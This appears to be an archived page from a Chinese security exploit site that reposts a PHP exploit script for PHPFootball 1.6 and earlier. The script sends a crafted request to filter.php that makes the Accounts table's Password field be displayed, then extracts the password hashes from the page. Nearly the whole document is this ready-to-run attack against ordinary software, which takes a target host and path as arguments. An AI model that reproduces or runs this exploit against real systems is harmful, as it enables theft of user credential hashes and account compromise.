|
PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit
|
|
来源：www.vfcocus.net 作者：vfocus 发布时间：2009-01-02
|
|
<?php
// http://garr.dl.sourceforge.net/sourceforge/phpfootball/PHPfootball1.6.zip
$host = $argv[1];
$path = $argv[2];
if ($argc != 3) {
echo "PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit\n";
echo "by KinG-LioN - http://eurohackers.it\n";
echo "Usage: php {$argv[0]} <host> <path>\n";
exit;
}
else {
$head .= "GET /{$path}/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n";
$head .= "Host: {$host}\r\n";
$head .= "Connection: close\r\n\r\n";
$fsock = fsockopen ($host,80);
fputs ($fsock,$head);
while (!feof($fsock)) {
$cont .= fgets($fsock);
}
fclose($fsock);
if (preg_match_all("/<td class=td>(.+?)<\/td>/",$cont,$i)) {
print_r($i[1]);
}
else {
die ("exploit error\n");
}
}
?>
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
